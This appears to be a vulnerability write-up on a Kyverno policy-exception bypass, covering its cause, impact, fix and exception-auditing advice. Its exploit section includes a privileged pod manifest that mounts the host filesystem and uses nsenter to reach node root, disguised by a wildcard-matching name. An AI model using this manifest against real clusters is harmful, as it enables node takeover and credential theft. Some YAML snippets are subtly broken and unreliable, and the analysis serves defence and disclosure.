The VIP List Loophole: Bypassing Kyverno Policies via Exception Stacking
Jan 6, 2026·7 min read
Executive Summary (TL;DR)
Kyverno v1.9.0 through v1.12.7 has a critical logic flaw in handling multiple `PolicyException` objects. If an administrator defines a specific exception (e.g., "allow in namespace A") and a broad exception (e.g., "allow pods named *ingress*"), Kyverno treats these as a simple OR condition. An attacker can deploy a malicious payload in a restricted namespace simply by matching the name pattern of the broad exception, bypassing policies like `disallow-host-path` and gaining potential root access to nodes.
A logic flaw in Kyverno's policy engine allows attackers to bypass critical security enforcement by exploiting how the system aggregates multiple PolicyException resources. By crafting resources that match broad exception patterns (like names), attackers can evade namespace-specific restrictions.
The Hook: The Bouncer with Two Lists
In the world of Kubernetes, Kyverno is supposed to be the bouncer. It stands at the door of the API server, arms crossed, checking every Pod, Deployment, and Service against a strict set of rules. No hostPath volumes? Check. No running as root? Check. But every bouncer has a VIP list—in Kyverno's case, these are PolicyException resources. These tell the engine to look the other way for specific trusted workloads.
Here creates the problem: What happens when you have two VIP lists? Imagine one list says, "Only let people in from the 'Admins' group," and a second list says, "Let anyone named 'Steve' in." A security architect assumes these lists are context-aware. They assume 'Steve' is only allowed if he is also an Admin, or perhaps 'Steve' is only allowed in a specific context. But in Kyverno versions prior to v1.13.0, the logic was dangerously simple.
If you are an Admin, you get in. If you are named Steve—even if you're a random stranger from the street (or the default namespace)—you get in. This vulnerability, GHSA-GG4X-FGG2-H9W9, is exactly that: a failure to properly intersect the logic of multiple exceptions. It turns a sophisticated policy engine into a sieve, allowing attackers to slip dangerous payloads past the bouncer just by wearing a nametag that says "Steve."
The Flaw: Logic Gates and Open Windows
The root cause isn't a buffer overflow or a pointer dereference; it's a fundamental logic flaw in how the policy engine evaluates the union of exception rules. When Kyverno evaluates a resource, it checks if any PolicyException matches the request. If it finds a match, the policy is skipped. The fatal error is treating multiple, distinct exception objects as a global, flat "OR" condition without respecting the implied scope of each exception.
Consider a scenario where a cluster admin tries to be secure. They create Exception A to allow hostPath volumes strictly in the luntry namespace (perhaps for a monitoring tool). Later, a different team adds Exception B to allow hostPath volumes for any pod named *haproxy* (perhaps for an ingress controller). The engine sees these as two independent "Get Out of Jail Free" cards.
Kyverno does not ask, "Does this resource satisfy the constraints of the relevant exception?" Instead, it effectively asks, "Is there any exception file anywhere in the cluster that likes this resource?" If the answer is yes, the enforcement is dropped. This means a broad selector in one exception (like a wildcard name match) inadvertently globalizes the bypass, overriding the restrictive namespace constraints of other exceptions.
The Code: Examining the Logic Gap
While we don't have the raw Go source code diff in front of us, the behavior can be perfectly modeled through the YAML policy definitions that drive the engine. This is 'Infrastructure as Code', and the bug lies in how that code is parsed.
Here is the setup that breaks the system. First, the enforcement:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: disallow-host-path
spec:
validationFailureAction: Enforce
rules:
- name: host-path
match:
any:
- resources:
kinds: [- Pod]
validate:
pattern:
spec:
=(volumes):
- X(hostPath): "null"Now, the admin defines two exceptions.
Exception 1 (Restrictive):
apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
name: specific-namespace-only
spec:
match:
any:
- resources:
namespaces: ["secure-sys-admin"]Exception 2 (Loose):
apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
name: wildcard-name-match
spec:
match:
any:
- resources:
names: ["*ingress*"]The vulnerability is that Exception 2 has no namespace restriction. In the developer's mind, Exception 2 might have been intended for the ingress-nginx namespace. But functionally, it applies to all namespaces. Kyverno's engine sees a pod named ingress-exploit in the default namespace, matches it against Exception 2, and immediately short-circuits the validation logic, returning ALLOWED. The restrictive intent of Exception 1 is completely irrelevant.
The Exploit: Dropping the Payload
Exploiting this is trivially easy and requires no binary modification—just standard kubectl access. An attacker with permissions to create Pods in a non-privileged namespace (like default) can leverage this to gain node-level access.
First, we scan the cluster for PolicyException objects to find a weak pattern. We are looking for names lists containing wildcards or common strings.
kubectl get policyexceptions -A -o yaml | grep -C 5 "names:"
# Output might reveal: names: ["*ingress*", "*haproxy*"]Once we identify that *ingress* is an allowed pattern for the disallow-host-path policy, we craft our malicious pod. We don't need to be in the secure-sys-admin namespace. We just need to dress up our pod with the right name.
apiVersion: v1
kind: Pod
metadata:
name: my-ingress-exploit # The magic keyword
namespace: default # The unprivileged zone
spec:
containers:
- name: pwn
image: ubuntu:latest
command: ["nsenter", "--mount=/host/proc/1/ns/mnt", "/bin/bash"]
securityContext:
privileged: true
volumes:
- name: host-root
hostPath:
path: / # The forbidden fruitWhen we apply this, Kyverno checks its list. "Is this disallow-host-path? Yes. Is there an exception? Yes, wildcard-name-match allows anything named *ingress*. Come on in!"
The pod starts. We exec into it. We are now root on the worker node. We have escaped the policy jail by simply changing our name.
The Impact: From Policy Bypass to Cluster Takeover
The impact of this vulnerability scores a massive 9.0 on the CVSS scale for a reason. Kyverno is often the primary line of defense against insecure workloads in modern Kubernetes clusters. It is the tool preventing developers (and attackers) from mounting the Docker socket, accessing the host filesystem, or running as root.
By bypassing this, we revert the cluster's security posture to default Kubernetes—which is notoriously insecure.
- Privilege Escalation: As demonstrated, bypassing
hostPathrestrictions allows mounting the underlying node's filesystem. From there, an attacker can steal kubelet credentials, access secrets stored on the node, or modify the underlying OS. - Persistence: An attacker could deploy a Deployment with the bypass name (e.g.,
ingress-backdoor) that ensures their malicious pods are always running, even if the node reboots. - Lateral Movement: With node access, the attacker can pivot to other pods running on the same node or attack the cloud provider's metadata service.
This isn't just a "policy violation"; it's a complete negation of the cluster's governance model.
The Fix: Closing the Loophole
The fix landed in Kyverno v1.13.0. The remediation is straightforward but urgent.
1. Upgrade Immediately: Update your Kyverno installation to v1.13.0 or later. The patched version changes the evaluation logic to ensure that exceptions are processed with stricter hierarchy or aggregation rules that prevent this specific bypass.
2. Audit Your Exceptions:
Even with the patch, this vulnerability serves as a wake-up call for how you define PolicyException resources. Stop using broad, cross-cluster exceptions.
- BAD: One exception matching
names: [*]and another matchingnamespace: [x]. - GOOD: A single exception matching
names: [*]ANDnamespace: [x].
Consolidate your logic. If an exception is meant for a specific app, bind it to that app's namespace explicitly within the same rule. Don't rely on the engine to magically intersect two separate YAML files in the way you imagined they would work. Be explicit.
Official Patches
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Kyverno Kyverno | >= 1.9.0, <= 1.12.7 | 1.13.0 |
| Attribute | Detail |
|---|---|
| Severity | Critical (9.0) |
| Attack Vector | Network (Kubernetes API) |
| Bug Class | Logic Error / Improper Policy Composition |
| Affected Versions | v1.9.0 - v1.12.7 |
| Privileges Required | Low (Create Pods) |
| Status | Patched |
MITRE ATT&CK Mapping
The product does not correctly calculate or handle the union of multiple permission/exception sets, leading to unintended access.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.